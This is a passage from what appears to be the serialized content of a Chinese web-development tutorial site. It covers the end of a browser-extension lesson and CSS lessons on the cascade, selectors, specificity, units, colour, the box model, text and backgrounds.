SPA 切页后功能不生效 是否发生真正文档加载 按需监听局部 DOM\u002F路由变化，避免全页轮询 生产包报远程脚本或 CSP 错误 CDN、内联脚本、开发构建产物 将代码随包构建，检查生产 CSP 主题保存了但网页没变 读取配置与应用样式是否接通 存储不会自动驱动网页 DOM 更新",{"id":130149,"title":4305,"titles":130150,"content":130151,"level":357},"\u002Ftutorials\u002Fbrowser-extension#如何测量而不是凭感觉说没问题",[6,4151],"注入次数： 在测试网页控制台检查 document.querySelectorAll('#reading-helper-style-v1').length。第一版反复点击时应在 0 与 1 之间切换，而不是越点越多。 恢复能力： 使用第二版，在 Popup 检查窗口执行 chrome.storage.local.set({ readingTheme: 'light' })。关闭检查窗口与 Popup，等待后台进入非活动状态后重新打开 Popup，再检查打印的主题；应该仍为 light。随后删除该键再试，应回退为 paper。 权限边界： 分别测试普通网页、受保护页面和跨源导航后的标签页。临时授权失效时，应允许用户重新调用扩展，而不是无限重试。 性能： 若加入 DOM 观察器，在网页 Performance 面板记录操作前后，观察长任务与回调次数。先证明观察范围、频率或处理量有问题，再引入节流；不要用一个固定频率全页扫描来“保证生效”。",{"id":130153,"title":4347,"titles":130154,"content":130155,"level":357},"\u002Ftutorials\u002Fbrowser-extension#三个循序渐进的练习",[6,4151],"把主题设置接入阅读开关。 让 Popup 保存 paper \u002F light，通过注入函数的 args 或消息把经过校验的值传到页面。区分“已保存偏好”和“当前页面已应用”的状态。 做一个只在指定网站出现的工具条。 使用静态 Content Script，确保 SPA 导航后仍可用，重复初始化不产生两个工具条，并能完整移除自己的 DOM 与监听器。 增加用户主动触发的本地摘录。 只保存用户明确选择的文字与允许保存的来源信息，不自动收集整页内容；限制条目大小，提供清空入口，并使用 textContent 展示摘录。 到这里，你应该能说清楚四个关键问题：入口由谁声明、代码在哪执行、数据怎么传递、权限为何必需。 这比记住一组 API 名称更重要，也是在原生代码和 Plasmo 等框架之间迁移时最稳定的知识。",{"id":130157,"title":4389,"titles":130158,"content":130159,"level":357},"\u002Ftutorials\u002Fbrowser-extension#参考资料与继续阅读",[6,4151],"枫枫知道：浏览器插件开发课程：本文选题与核心模块的参考入口。 Chrome：Manifest 文件格式：清单字段与 MV3 配置。 Chrome：activeTab：用户调用与临时站点访问。 Chrome：Content Scripts：隔离环境、注入方式与脚本能力。 Chrome：消息通信：一次性消息、端口与安全注意事项。 Chrome：Service Worker 生命周期：后台停止、唤醒与版本差异。 Chrome：Storage API：存储区域、配额与访问规则。 MDN：runtime.onMessage：异步响应与跨浏览器兼容提示。 Plasmo 官方文档：工程化、文件约定和构建流程。 Chrome Web Store 发布指南：提交包、素材与审核流程。 Microsoft Edge 扩展发布文档：Edge 商店的发布流程。 html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .sns5M, html code.shiki .sns5M{--shiki-default:#DBEDFF}html pre.shiki code .sRjNt, html code.shiki .sRjNt{--shiki-default:#85E89D;--shiki-default-font-weight:bold}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}",{"id":122484,"title":108416,"titles":130161,"content":122482,"level":334},[],{"id":130163,"title":108422,"titles":130164,"content":130165,"level":341},"\u002Ftutorials\u002Fcss#一css-是什么三种引入方式与层叠起点",[108416],"HTML 决定「这是什么内容」，CSS 决定「它怎么呈现」。CSS 的全部机制都建立在一个前提上：同一个元素的同一个属性可以被多条规则命中，最终只有一条赢。理解这场裁决（层叠，cascade），后面所有「我明明写了却没生效」的问题都有了解法。",{"id":130167,"title":108433,"titles":130168,"content":130169,"level":357},"\u002Ftutorials\u002Fcss#外链内联块与-import各自的代价",[108416,108422],"\u003C!-- ① 外链样式表：正式项目的唯一正确做法 -->\n\u003Clink rel=\"stylesheet\" href=\"\u002Fcss\u002Fmain.css\">\n\n\u003C!-- ② 页面内 style 块：单页 demo、首屏关键 CSS -->\n\u003Cstyle> body { max-width: 700px; margin: 0 auto; } \u003C\u002Fstyle>\n\n\u003C!-- ③ @import：写在 CSS 文件顶部 -->\n\u003Cstyle> @import url(\"\u002Fcss\u002Freset.css\"); \u003C\u002Fstyle>\n\n\u003C!-- ④ 元素上的 style 属性：权重最高，只用于必须动态计算的值 -->\n\u003Cdiv style=\"width: 42%\">…\u003C\u002Fdiv> 方式 优点 代价 link 外链 多页共享、可长期缓存、与 HTML 并行下载 多一次请求 \u003Cstyle> 内联块 零请求，适合把首屏关键 CSS 直接嵌进 HTML 不随页面复用，改一次要动 HTML @import 组织上像 include 被引入的文件要等主 CSS 下载完才开始下载（串行），首屏变慢；生产环境几乎总该换成 link style=\"\" 属性 能被 JS 单点修改、权重最高 无法复用、写不了伪类、难以维护",{"id":130171,"title":108660,"titles":130172,"content":130173,"level":357},"\u002Ftutorials\u002Fcss#一条声明怎么胜出",[108416,108422],"浏览器对每个元素的每个属性只保留一条获胜声明，裁判顺序是： 重要性与来源：用户带 !important 的样式 > 作者带 !important 的 > 作者普通 > 用户普通 > 浏览器默认。 层（@layer）：未分层的声明，优先级高于所有分层的声明（第十六章）。 权重（specificity）：id \u002F class \u002F 元素三个数量级比较（第四章）。 书写顺序：前三步比不出结果时，写在后面的赢。 「后写的覆盖先写的」只在权重相同的前提下成立——这是新手最容易记错的一条。",{"id":130175,"title":108713,"titles":130176,"content":314,"level":341},"\u002Ftutorials\u002Fcss#二语法与书写规范",[108416],{"id":130178,"title":108717,"titles":130179,"content":130180,"level":357},"\u002Ftutorials\u002Fcss#规则的结构选择器-声明块",[108416,108713],"\u002F*  选择器（命中谁）  *\u002F\nh1, .title {\n  color: #24292f;      \u002F* 声明 = 属性 + 冒号 + 值 + 分号 *\u002F\n  line-height: 1.3;\n} 逗号是「或」：h1, .title { } 等于两条规则合并。 最后一条的分号可以省略，但别省：追加声明、被压缩工具合并时会出错。 花括号内一条声明缺分号会吞掉下一条；少一个花括号，破坏面能扩到整段样式表。",{"id":130182,"title":108799,"titles":130183,"content":130184,"level":357},"\u002Ftutorials\u002Fcss#注释与分组",[108416,108713],"CSS 只有 \u002F* … *\u002F 一种注释，\u002F\u002F 是 Sass\u002FLess 的能力。错误恢复是整块规则级别的：一个选择器解析失败，浏览器会丢弃直到下一个 } 为止的全部内容，所以一个拼错的选择器影响的往往不止它自己。 声明简写有个必须知道的隐藏行为：简写会把没提到的分量重置为初始值。写了 background: red 之后再单写 background-position，位置可能已经被前一条清掉了——这是「明明写了却不生效」的高频原因之一。 margin: 10px 20px;               \u002F* 上下 10，左右 20（顺序：上 右 下 左，顺时针） *\u002F\nborder: 1px solid #d0d7de;       \u002F* 宽度 样式 颜色 *\u002F\nbackground: #f6f8fa url(a.png) no-repeat center \u002F cover;  \u002F* 一行写完多个分量 *\u002F",{"id":130186,"title":108865,"titles":130187,"content":130188,"level":357},"\u002Ftutorials\u002Fcss#命名约定bem-风格",[108416,108713],"本站所有组件用这一套： .chip            { }  \u002F* 块：组件本体 *\u002F\n.chip__count     { }  \u002F* 元素：块内部的组成部分，双下划线 *\u002F\n.chip--primary   { }  \u002F* 修饰符：同一种东西的变体，双连字符 *\u002F\n.chip.is-disabled{ }  \u002F* 状态：由 JS 加上的类，配 is-\u002Fhas- 前缀 *\u002F BEM 不是标准，而是一种能防止选择器膨胀的命名纪律。三条收益：看类名就知道归属、每条规则能单独读懂、权重始终是「单个 class」因此永远低位、方便覆盖。命名带用途而不是带外观：is-error 好于 red-text。",{"id":130190,"title":108929,"titles":130191,"content":130192,"level":357},"\u002Ftutorials\u002Fcss#常见语法错误与排查",[108416,108713],"写法 后果 colo: red（属性拼错） 该声明被忽略，块内其余照常 color red;（漏冒号） 该声明被忽略 margin: 10px 20px（漏分号） 下一条声明被吞 少一个 } 直到下一个 } 的整块内容失效 width: 100（长度漏单位） 除 0 和单位无关关键字外，长度必须带单位 中文全角分号 ；、全角冒号 ： 中文输入法下的第一大坑，症状同上 排查只用 DevTools 的 Styles 面板：被划掉的规则说明被更高权重或 !important 压制（面板会标出是谁压的），根本没出现的规则说明没命中或整块解析失败。",{"id":130194,"title":109029,"titles":130195,"content":314,"level":341},"\u002Ftutorials\u002Fcss#三选择器基础",[108416],{"id":130197,"title":109033,"titles":130198,"content":130199,"level":357},"\u002Ftutorials\u002Fcss#类型classid-与通配",[108416,109029],"p { }        \u002F* 类型选择器：命中所有 p，权重 0,0,1 *\u002F\n.card { }    \u002F* class：权重 0,1,0 —— 日常主力 *\u002F\n#header { }  \u002F* id：权重 1,0,0 —— 别拿它写样式（第四章） *\u002F\n* { }        \u002F* 通配：权重 0，唯一正当用途是重置 *\u002F\n*, *::before, *::after { box-sizing: border-box; }",{"id":130201,"title":109116,"titles":130202,"content":130203,"level":357},"\u002Ftutorials\u002Fcss#组合子空格-与",[108416,109029],".card p       { }   \u002F* 空格 = 后代，任意深度 *\u002F\n.card > p     { }   \u002F* > = 子代，只下一层 *\u002F\nh4 + h4       { }   \u002F* + = 紧邻兄弟，紧跟在后面的那一个 *\u002F\np ~ span      { }   \u002F* ~ = 后续兄弟，之后的所有同级 *\u002F\nA B C > D     { }   \u002F* 混用；从右往左读：D 是 C 的子，C 是 B 的后代 *\u002F 选择器从右往左匹配，所以最右侧的「关键选择器」越具体越快。长链 body > div .box ul li a 既慢又脆，DOM 一调整就断——这是重构时最先该删的东西。",{"id":130205,"title":109208,"titles":130206,"content":130207,"level":357},"\u002Ftutorials\u002Fcss#属性选择器全家福",[108416,109029],"语法 含义 [href] 存在该属性 [href=\"x\"] \u002F [href=\"x\" i] 精确等于 \u002F 忽略大小写 [href^=\"https\"] 前缀 [href$=\".pdf\"] 后缀 [href*=\"docs\"] 包含 [rel~=\"noopener\"] 空格分隔的值列表中含某项 [class|=\"btn\"] 等于 btn 或以 btn- 开头 它们配合 data-*（HTML 教程第十五章）能实现「数据驱动样式」：JS 只改属性，样式跟着变。",{"id":130209,"title":109309,"titles":130210,"content":130211,"level":357},"\u002Ftutorials\u002Fcss#结构伪类",[108416,109029],":first-child \u002F :last-child          \u002F* 首尾 *\u002F\n:nth-child(2n)  \u002F  :nth-child(even) \u002F* 偶数；也可 (2n+1)、odd、from-end(2) *\u002F\n:nth-child(-n+3)                    \u002F* 前 3 个 *\u002F\n:only-child                         \u002F* 独子 *\u002F\n:empty                              \u002F* 无子节点也无文本（空白符也算文本，格式化容易破坏它） *\u002F\n:not(.is-done)                      \u002F* 排除 *\u002F",{"id":130213,"title":109401,"titles":130214,"content":130215,"level":357},"\u002Ftutorials\u002Fcss#伪类与伪元素的分界",[108416,109029],":hover、:focus、:focus-visible、:active 描述状态（单冒号）；::before、::after、::placeholder、::selection 创建 DOM 里不存在的额外内容（双冒号，第十七章展开）。历史单冒号写法（:before）仍兼容，新代码请统一双冒号——这样一眼能看出这条规则到底有没有真的往页面里加东西。",{"id":130217,"title":109442,"titles":130218,"content":314,"level":341},"\u002Ftutorials\u002Fcss#四层叠优先级与继承",[108416],{"id":130220,"title":109446,"titles":130221,"content":130222,"level":357},"\u002Ftutorials\u002Fcss#权重计算三个数字",[108416,109442],"成分 来自 记为 id 的个数 #buy 1,0,0 class \u002F 属性 \u002F 伪类的个数 .btn、[type=text]、:hover、:not() 的参数 0,1,0 类型与伪元素的个数 p、::before 0,0,1 三个常见误解： 权重不是十进制，不会进位：11 个 class（0,11,0）也压不过 1 个 id（1,0,0）。 * 和组合子（> + ~ 空格）权重为 0；:where() 权重为 0，而 :is() 取参数里最高的那个。 元素的 style=\"\" 不参与这套计数，它高于所有规则（带 !important 的声明除外）。",{"id":130224,"title":109560,"titles":130225,"content":130226,"level":357},"\u002Ftutorials\u002Fcss#important-的代价",[108416,109442],"用了它，唯一的反制手段是「更具体的选择器 + 另一个 !important」。项目里一旦开始出现「为了盖住一行 !important 再加一行 !important」，样式表就已经失控。合理用法只有三类：第三方样式表的临时补丁、工具类（如 .visually-hidden）、用户自己写的无障碍样式表。 顺带一条：!important 只影响这一条声明，但简写的每个分量都会变得重要——margin: 0 !important 同时锁死四个方向。",{"id":130228,"title":109586,"titles":130229,"content":130230,"level":357},"\u002Ftutorials\u002Fcss#继承与四个关键字",[108416,109442],"只有「与文字相关」的大多数属性会继承： 继承 不继承 color、font-*、line-height、text-*、letter-spacing、visibility、cursor、writing-mode 盒模型（margin\u002Fpadding\u002Fborder\u002Fwidth\u002Fheight）、background、display、position 与定位、flex\u002Fgrid 全部、overflow、opacity、transform 四个随时手动改变继承行为的关键字： color: inherit;   \u002F* 强制继承父元素的值 *\u002F\ncolor: initial;   \u002F* 强制回到该属性的初始值（切断继承） *\u002F\ncolor: unset;     \u002F* 可继承属性 = inherit，不可继承属性 = initial *\u002F\ncolor: revert;    \u002F* 回到上一层来源的值，通常是浏览器默认样式表 *\u002F revert 与 unset 的区别很实用：浏览器给 ul 的默认 padding-inline-start: 40px，写 unset 得 0，写 revert 也回到默认——但当你要「撤销用户样式覆盖」或恢复用户代理样式时，只有 revert 语义正确。另有 revert-layer，用于撤销当前 @layer 内的结果（第十六章）。",{"id":130232,"title":109743,"titles":130233,"content":130234,"level":357},"\u002Ftutorials\u002Fcss#后写的为什么没生效四条排查思路",[108416,109442],"Styles 面板看那条规则有没有被划掉，划掉会附带「被谁压制」的提示。 规则根本没出现在面板里 → 选择器没命中，或整块解析失败。 用 Computed 面板搜属性名，能看到最终值来自哪一条声明。 怀疑是继承：给元素显式写 color: initial，值变了说明原先那个值是继承来的。",{"id":130236,"title":109775,"titles":130237,"content":314,"level":341},"\u002Ftutorials\u002Fcss#五单位与颜色",[108416],{"id":130239,"title":109778,"titles":130240,"content":130241,"level":357},"\u002Ftutorials\u002Fcss#绝对单位与相对单位",[108416,109775],"px 是屏幕上最稳的长度单位（1px = 一个设备像素，高倍屏由浏览器处理）。cm\u002Fin\u002Fpt 属于打印样式世界，别拿来做网页布局。 单位 相对什么 典型用途 rem 根元素字号 字号与间距的首选：改根字号即全站等比缩放 em 当前元素的字号（继承类属性看父元素） 组件内部尺寸随自身字号走，例如按钮内边距 % 视属性而定：宽度对父宽、高度对父高、padding 对父元素宽度、字号对父字号 栅格、流体容器 vw \u002F vh 视口宽 \u002F 高 整屏高度建议用 svh（小视口），避开手机地址栏收起造成的跳动 ch 「0」字符宽度 限制正文行长（一屏 45–75 字符最易读） ic 一个「水」字宽度 中文排版很直观：max-width: 38ic ≈ 一行 38 字 fr Grid 的剩余空间 只出现在 grid-template-*（第十一章） 还有几类不需要长度单位：line-height: 1.6（无单位数字 = 字号倍数，比 1.6em 安全，不会随继承重复相乘）、margin: 0（0 不需要单位）、flex-grow、z-index、opacity、font-weight。角度有 deg\u002Fturn\u002Frad（转 90° 写 .25turn 比 90deg 更直观），时间有 s\u002Fms。",{"id":130243,"title":109976,"titles":130244,"content":130245,"level":357},"\u002Ftutorials\u002Fcss#颜色的六种写法",[108416,109775],"#0969da             \u002F* RRGGBB *\u002F\n#0969da80           \u002F* RRGGBBAA：最后两位是透明度，00 全透明 *\u002F\n#069                \u002F* 三位缩写 = #006699，只有每对数字相同才能缩写；#069da（5 位）非法 *\u002F\nrgb(9 105 218)      \u002F* 现代语法用空格分隔，逗号写法同样支持 *\u002F\nrgb(9 105 218 \u002F .5) \u002F* 透明度单独给 *\u002F\nhsl(212 92% 45% \u002F 50%)\nhwb(212 4% 15%)     \u002F* 白量、黑量，比 hsl 更符合「调深浅」的直觉 *\u002F\noklch(52% 0.19 253) \u002F* 感知均匀 *\u002F\nroyalblue           \u002F* 147 个 CSS 命名色之一，正式项目不建议 *\u002F\ntransparent  currentColor  inherit 选写法的依据：固定品牌色用 #RRGGBB；要成组调明暗、生成色阶用 hsl() 或 hwb()（改一个数字出一系列）；JS 计算出的色值用 rgb(… \u002F a)；做色阶系统用 oklch()——HSL 的「50% 亮度」在不同色相下视觉明度差很多（黄色亮、蓝紫暗），OKLCH 是感知均匀的，同一 L 值的各色看起来真的同样亮。",{"id":130247,"title":110098,"titles":130248,"content":130249,"level":357},"\u002Ftutorials\u002Fcss#透明度currentcolor-与暗色主题",[108416,109775],"alpha 与 opacity 不是一件事：background: rgb(9 105 218 \u002F .5) 只让这一层背景透明，文字仍然清晰；opacity: .5 把整层（含子元素、边框）一起透明，并且会创建层叠上下文（第十二章）。 currentColor 取当前元素的 color 值，于是 border-color: currentColor、box-shadow: 0 0 0 3px currentColor 会随主题自动跟随，不必额外维护变量。 暗色主题的正解是把颜色收进自定义属性（第十四章）： :root { --c-bg: #fff; --c-text: #24292f; --c-primary: #0969da; }\nhtml[data-theme='dark'] { --c-bg: #0d1117; --c-text: #e6edf3; --c-primary: #6aa8ff; } 不要把颜色简单取反：深蓝底配高饱和品牌色会「发光」刺眼，通常要降饱和、提明度。另外 color-scheme: light dark 这一行能让浏览器的默认控件、滚动条、表单底色一起切换——成本极低，收益明显（本站全站样式里就有这一条）。",{"id":130251,"title":110229,"titles":130252,"content":110232,"level":341},"\u002Ftutorials\u002Fcss#六盒模型所有尺寸问题最后都回到这四层",[108416],{"id":130254,"title":122302,"titles":130255,"content":130256,"level":357},"\u002Ftutorials\u002Fcss#content-box-与-border-boxwidth-到底指哪一层",[108416,110229],"浏览器默认是 content-box：width 只描述内容区，padding 和 border 在它外面往外撑。于是这个经典事故： .card { width: 100%; padding: 16px; border: 1px solid #ddd; }  \u002F* 实际占位 = 100% + 34px，横向溢出 *\u002F 改成 border-box 之后，width 变成「最终占位宽」，padding 和 border 从里面扣，width: 100% 就真的是 100%。所以现代项目的第一行几乎都写成： *, *::before, *::after { box-sizing: border-box; } 选择器里的 *::before, *::after 不能省：伪元素同样是盒子，用 * 选不到它们，很多「加了装饰就溢出」的问题出在这。 两条边界情况值得提前知道： border-box 下 width 不再等于内容宽。文字类容器要保底，用 min-width； 全局 box-sizing: border-box 之后，某些第三方 CSS（老式表单样式、部分日历组件）会算错尺寸，这时对那几个选择器单独写回 box-sizing: content-box，不要反过来取消全局声明。",{"id":130258,"title":122304,"titles":130259,"content":130260,"level":357},"\u002Ftutorials\u002Fcss#margin-与-padding一个占外面一个占里面",[108416,110229],"判断标准很简单：背景色要不要覆盖这块区域。要覆盖（内文离边缘的距离、可点击区域的大小）就用 padding；只是把邻居推开就用 margin。 由此引出几条实用的差别： padding 会扩大背景与点击热区，导航项的可点击范围不足时，先加 padding 而不是加 margin； padding 不吃百分比的高度语义：padding: 5% 的上下部分也是按父元素宽度算的（历史上为了做等高列），这条最容易记错； margin 有 auto 这个特殊值：margin-inline: auto 让块级元素在父容器里水平居中，这是「不定宽容器居中」的最短写法。",{"id":130262,"title":110454,"titles":130263,"content":130264,"level":357},"\u002Ftutorials\u002Fcss#外边距塌陷16px-16px-为什么只有-16px",[108416,110229],"两个相邻块级元素的垂直 margin 会合并成一个，取绝对值较大的那个。所以「上下相邻的两个卡片各写 margin: 16px」得到的间距是 16px，不是 32px。合并规则有三种情形：正正取大、负负取绝对值大的、正负相加。 更常见的是第二种塌陷——父与子的 margin 穿透：父元素没有 padding-top、没有 border-top、且不是 BFC 时，子的 margin-top 会把父元素一起推下去，看起来像「margin 加到了父身上」。老代码里给父容器随手写 overflow: hidden 就是在处理这个问题（它在创建 BFC）。 今天的最优解不是背塌陷规则，而是改用 Flex\u002FGrid 的 gap：Flex 与 Grid 的子项之间不发生 margin 合并，间距由 gap 一处声明，首尾不会多出空白，也不需要 :last-child { margin: 0 }。这一条能消掉大部分「间距玄学」。",{"id":130266,"title":122307,"titles":130267,"content":130268,"level":357},"\u002Ftutorials\u002Fcss#负-margin合法但危险",[108416,110229],"margin-left: -12px 能把元素往左拽回 12px，头像列表相互叠压、把内容对齐到视觉基线（数字悬挂在标点左侧）都会用到。风险是它把元素推到容器之外，窄屏会直接产生横向滚动条。 .avatars img { margin-left: -8px; }             \u002F* 叠压效果 *\u002F\n.avatars img:first-child { margin-left: 0; }    \u002F* 第一个不叠，否则整体左移 *\u002F\n.avatars img { border: 2px solid #fff; }        \u002F* 必须给描边，否则叠在一起看不出层次 *\u002F 只在一维上用负 margin。两列布局用负 margin 拼间距是二十年前的做法（float + 负 margin 的栅格），今天写 gap 或 minmax()。",{"id":130270,"title":110611,"titles":130271,"content":130272,"level":357},"\u002Ftutorials\u002Fcss#自查清单",[108416,110229],"排「尺寸不对」时按这个顺序看： Computed 面板的盒子图，确认 box-sizing 生效（被 reset 文件覆盖是常见事故）； width + padding + border 是否超过父容器； 上下间距不对时，先确认有没有塌陷（把 margin 换成 gap 或 padding，如果问题消失，就是塌陷）； 内容把容器撑爆时，查 min-width\u002Fmin-height（Flex\u002FGrid 子项的自动最小尺寸，见第十章与十一章）。",{"id":130274,"title":110651,"titles":130275,"content":130276,"level":341},"\u002Ftutorials\u002Fcss#七文本与字体中文排版的三个特殊点",[108416],"文字是网页的主要内容，而 CSS 里跟文字有关的属性分两组：一组决定用什么样的字（font-*），一组决定这些字怎么排（text-*、white-space、word-break）。",{"id":130278,"title":110679,"titles":130279,"content":130280,"level":357},"\u002Ftutorials\u002Fcss#字体栈与-fallback-顺序",[108416,110651],"body {\n  font-family: system-ui, -apple-system, \"Segoe UI\", \"PingFang SC\",\n               \"Hiragino Sans GB\", \"Microsoft YaHei\", sans-serif;\n} font-family 是一个候选列表，浏览器从左往右取第一个「本机装有」的字体，全部落空才用最后的通用族关键字。因此三条规则： 带空格的名字必须加引号（\"PingFang SC\"），关键字（sans-serif、system-ui、monospace）不加； 末尾一定要放通用族兜底； 中文站一定要写中文族名。只写 Arial 时中文交给浏览器随机 fallback，Windows 与 macOS 的字重表现差别很大，bold 在一种系统上偏细、在另一种上糊成一团。 system-ui 取操作系统界面字体，优点是零下载、风格与用户设备一致；缺点是各平台长得不一样，做品牌感强的标题时通常换成西文品牌字体 + 中文族名的组合。 网络字体用 @font-face 声明，配 font-display: swap（先回退字显示、下载完再换），否则首屏会出现一段纯白文字（FOIT）。中文字体动辄几 MB，务必只加载需要的字重，或按章节做子集化。",{"id":130282,"title":122313,"titles":130283,"content":130284,"level":357},"\u002Ftutorials\u002Fcss#font-sizefont-weightline-height",[108416,110651],"字号用 rem：根字号是用户\u002F浏览器设置的入口，全站用 rem 时这一设置才真的起作用。正文不小于 14px，可点击文字建议 16px。 字重优先用数字（400\u002F600\u002F700），别依赖 bold 关键字：bold 固定映射到 700，而中文字体常常只有 400 与 700 两档，浏览器会合成加粗（人为描边），中文一多就糊。中文正文里 font-weight: 600 往往比 bold 更耐看。 行高写无单位数字：line-height: 1.7 相对本元素字号计算且继承的是这个数字；写成 1.7em 时子元素会按自己的字号再乘一次，嵌套层级一深就翻倍。中文正文建议 1.6–1.8，标题 1.2–1.3。 font 简写顺序固定：font: style variant weight size\u002Fline-height family，size 与 family 必填，缺省时其余部分会被重置为初始值——这也是为什么「只想要 font: 16px sans-serif 而不重置行高」是错的写法。",{"id":130286,"title":110883,"titles":130287,"content":130288,"level":357},"\u002Ftutorials\u002Fcss#字距词距与大小写",[108416,110651],"letter-spacing 用 em 为单位才随字号变化：大标题需要负字距（-0.02em）才不显松散，全大写的小标签需要正字距（.08em–.12em）。word-spacing 只影响词间空白，中文几乎没有词，主要作用于西文。 text-transform: uppercase 只改显示、不改 DOM 文本，因此对搜索、复制、读屏都可能造成偏差；中文还有 full-width 值。做小标签时用它，但正文内容不要用（英语句首大写规则会丢失）。",{"id":130290,"title":110924,"titles":130291,"content":130292,"level":357},"\u002Ftutorials\u002Fcss#对齐与装饰",[108416,110651],"text-align 管行内内容在块里的对齐：left\u002Fright\u002Fcenter\u002Fjustify。justify 在西文里要配 hyphens: auto 和正确的 lang，否则词间空隙会夸张到出现「河流」；中文用 justify 效果接近两端对齐但没有连字符机制。text-align-last 单独控制最后一行。 text-decoration 家族需要注意它是画在文字上而非盒子下： a { text-decoration: underline; text-underline-offset: 3px; text-decoration-thickness: 1px; } text-underline-offset 让下划线离开基线，中文尤其需要（汉字下沿低，默认位置容易贴着笔画）。删除上下划线时写 text-decoration-line: none 而不是 text-decoration: none，后者会重置整族属性。",{"id":130294,"title":122317,"titles":130295,"content":130296,"level":357},"\u002Ftutorials\u002Fcss#white-space断行与截断",[108416,110651],"这一组属性治的是「文字撑破容器」： white-space: nowrap 禁止折行（表格单元格里让数字成行最方便）； white-space: pre-wrap 保留用户输入的换行和空格（评论区必需）； overflow-wrap: anywhere 让超长单词（长 URL、base64）强制拆断； word-break: break-all 允许在任意字符间断行，中英混排有时需要，但纯西文会拆得很丑；keep-all 禁止中文断行（避免句首出现孤立标点时可用 line-break: strict）； hyphens: auto 需要元素或祖先有正确的 lang。 单行截断是固定的三件套： .truncate { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } 多行截断目前仍是带前缀的写法（但所有主流内核都支持，属事实标准）： .clamp-2 { display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; overflow: hidden; } 被截断的文字仍在 DOM 里：读屏会念全文，用户选中复制也能拿到全文，但看不见的那部分等于不存在——关键信息不要靠截断承载，配合 title 属性或「展开」按钮。",{"id":130298,"title":111178,"titles":130299,"content":130300,"level":357},"\u002Ftutorials\u002Fcss#中文排版的三个特殊点",[108416,110651],"标点悬挂（hanging-punctuation）与行首禁止字符（line-break: strict）能消掉中文段落「行首一个逗号」的难看；Safari 支持较好，Chrome 一线在演进，写它属于渐进增强。 行高与视觉密度：汉字是方块字，没有西文的上伸下延，同样行高下中文显得更密。中文段落行高比同字号西文再加大约 0.1–0.2 才舒服。 行长用 ch 或 ic 限制：西文正文一行 45–75 字符最易读，max-width: 65ch；中文可以用 max-width: 38ic（ic = 一个「水」字的宽度）达到同样效果。",{"id":130302,"title":111224,"titles":130303,"content":314,"level":341},"\u002Ftutorials\u002Fcss#八背景边框与阴影视觉层次靠这三样",[108416],{"id":130305,"title":122322,"titles":130306,"content":130307,"level":357},"\u002Ftutorials\u002Fcss#background-image-与-background-size",[108416,111224],"背景的多条轴各自独立：image（图或渐变）、position、size、repeat、origin、clip、attachment。最常配的是封面图三件套： .hero { background-image: url(hero.jpg); background-size: cover; background-position: center; } cover 铺满且不变形，代价是可能裁掉内容；contain 完整显示，代价是可能留白。人物照片做背景时 cover 常把脸裁掉，用 object-fit + \u003Cimg>（第十三章）比背景图更好控制，因为可以用 object-position 精确指定保留区域，且图片能被 alt 与懒加载覆盖。 background-position 的百分比语义容易记错：50% 50% 是「图片的 50% 处对齐容器的 50% 处」，不是「距左 50%」。 background-origin\u002Fbackground-clip 决定绘制从哪算起、画到哪结束。最常用的是文字裁切： .gradient-text {\n  background: linear-gradient(90deg, #0969da, #8250df);\n  -webkit-background-clip: text;\n  background-clip: text;\n  color: transparent;\n} （background-clip: text 现在主流内核都支持，但必须保证文字有回退色，且它会让真实 color 失效——不要对正文大范围使用，装饰标题为宜。）",{"id":130309,"title":111437,"titles":130310,"content":130311,"level":357},"\u002Ftutorials\u002Fcss#多层背景先写的在上面",[108416,111224],".card-hero {\n  background-image:\n    radial-gradient(circle at 20% 30%, rgba(255,255,255,.35), transparent 40%),\n    repeating-linear-gradient(90deg, rgba(255,255,255,.12) 0 6px, transparent 6px 14px),\n    linear-gradient(135deg, #0969da, #8250df);\n  background-size: auto, auto, 100% 100%;\n} 逗号分隔的每一层对应一组值；某一层少写的值会往回取该属性的第一个值（所以只写一个 background-position 时所有层共用它）。层与层之间可以用 background-blend-mode 指定混合方式。这个「一层高光 + 一层纹理 + 一层底色」的结构，就是不用图片做出有质感封面的标准配方。",{"id":130313,"title":122325,"titles":130314,"content":130315,"level":357},"\u002Ftutorials\u002Fcss#渐变它是-image不是颜色",[108416,111224],"linear-gradient()、radial-gradient()、conic-gradient()（第十九章细讲）都能出现在任何接受图片值的地方。两个高频技巧： \u002F* 硬切色带：同一位置写两次色标 *\u002F\n.progress { background: linear-gradient(90deg, var(--c-primary) 62%, #eaeef2 62%); }\n\u002F* 斜纹\u002F斑马线：repeating-linear-gradient *\u002F\n.zebra { background: repeating-linear-gradient(45deg, #fff8c5 0 10px, transparent 10px 20px); }",{"id":130317,"title":111760,"titles":130318,"content":130319,"level":357},"\u002Ftutorials\u002Fcss#边框宽度样式圆角",[108416,111224],"border 是盒子的一部分（border-box 下从宽度里扣），改宽度会挤动内容。四条规则： .card:hover { border-color: #0969da; }        \u002F* 只换色不换宽：避免 hover 时内容跳动 *\u002F\n.card { border: 1px solid #d0d7de; border-left: 4px solid #0969da; }  \u002F* 左侧强调条 *\u002F\n.pill { border-radius: 999px; }               \u002F* 胶囊 *\u002F\n.leaf { border-radius: 12px 4px 12px 4px; }   \u002F* 四角不同：左上 右上 右下 左下 *\u002F border-radius 可以写 12px \u002F 24px（水平\u002F垂直半径不同）做出椭圆角；border-radius: 50% 得到圆（元素必须是正方形，否则是椭圆）。圆形头像更稳的做法是图片自身保持正方形 + object-fit: cover + 圆角。 边框想「不占空间」时用 outline：它在盒子外绘制、不影响布局，但保持矩形（新内核已跟随圆角）。所以焦点环用 outline，装饰用 